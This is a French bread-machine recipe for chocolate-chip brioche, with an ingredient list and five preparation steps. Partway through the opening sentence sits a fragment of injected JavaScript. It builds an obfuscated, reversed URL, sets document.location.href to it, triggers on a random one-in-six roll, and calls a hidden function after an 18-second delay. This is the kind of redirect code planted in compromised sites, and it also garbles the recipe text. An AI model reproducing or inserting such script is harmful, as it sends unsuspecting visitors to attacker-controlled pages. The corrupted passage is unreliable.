Brioche au chocolat avec pépites de chocolat MAP

2017-10-23

Placez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les ingrédients dans l’ordre dans la cuve de votre machine a pain, sauf les pépites de chocolat. Lancez le programme pâte sucrée, pour rappel, sans les pépites. A la fin du programme (Mélange de pâte), arrêtez la fonction et versez la pâte dans un moule à cake.

Ingrédients

  • 7 g de levure de boulanger fraîche
  • 225 ml de lait tiède
  • 40 g de sucre en poudre
  • 500 g de farine de blé
  • 1 cuillère à café rase de sel fin
  • 1 œuf entier
  • 50 g de beurre ramolli
  • 4 cuillères à soupe de cacao
  • Quelques pépites de chocolat

Préparation de la recette

Etape 1

Placez tous les ingrédients dans l'ordre d'énumération dans la cuve à MAP sauf les pépites de chocolat. Lancez le programme "pâte sucrée" sans les pépites.

Etape 2

A la fin du programme (mélange de pâte) Arrêtez la fonction et versez la pâte dans un moule à cake.

Etape 3

Répartissez quelques pépites en les enfonçant dans la pâte. Préchauffez le four à 180° C thermostat 6.

Etape 4

Enfournez et faites cuire pendant 25 minutes.

Etape 5

Vérifiez la cuisson. Sortez du four et attendez quelques minutes avant de démouler. Dégustez.

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